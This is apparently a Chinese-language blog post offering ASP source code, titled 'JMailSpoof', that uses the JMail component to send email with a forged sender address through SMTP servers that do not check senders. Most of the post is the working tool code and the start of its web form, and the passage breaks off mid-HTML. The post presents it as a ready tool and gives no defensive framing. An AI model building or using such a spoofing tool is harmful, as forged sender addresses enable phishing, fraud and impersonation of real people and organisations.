伪造发件人之邮件地址之实现

写了一个利用Jmail组件发匿名邮件的ASP代码，前提是你的SMTP服务器没有验证发件人地址才是，很多虚拟主机的SMTP服务器就可以的。

代码如下：

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<%if request("action")="send" then%>

<%

Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer

strSubject = Request("title")

strContent = Request("content")

strSender = Request("Name")

strEmail = Request("to")

strMailAddress = Request("smtp")

strMailUser = Request("usr")

strMailPass = Request("pwd")

Set JMail = Server.CreateObject("JMail.Message")

JMail.Charset = "gb2312"

JMail.From = Request("From")

JMail.FromName = strSender

JMail.Subject =strSubject

JMail.MailServerUserName = strMailUser

JMail.MailServerPassword = strMailPass

JMail.Priority = 3

JMail.AddRecipient(strEmail)

JMail.Body = strContent

JMail.Send(strMailAddress)

%>

<Script>

alert(没报错就可能成功啦！);

</Script>

<%

else

%>

<style type="text/css">

<!--

body { margin-top: 0px;margin-bottom: 0px;}td {

font-size: 12px;

text-decoration: none;}--></style>

<title>JMailSpoof v0.1</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">

<tr><td height="40" bgcolor="#E3E3E3"><div align="center">JMailSpoof by lake2</div></td></tr>

<tr><td><table width="100%" height="392" border="0" align="center" cellpadding="1" cellspacing="1">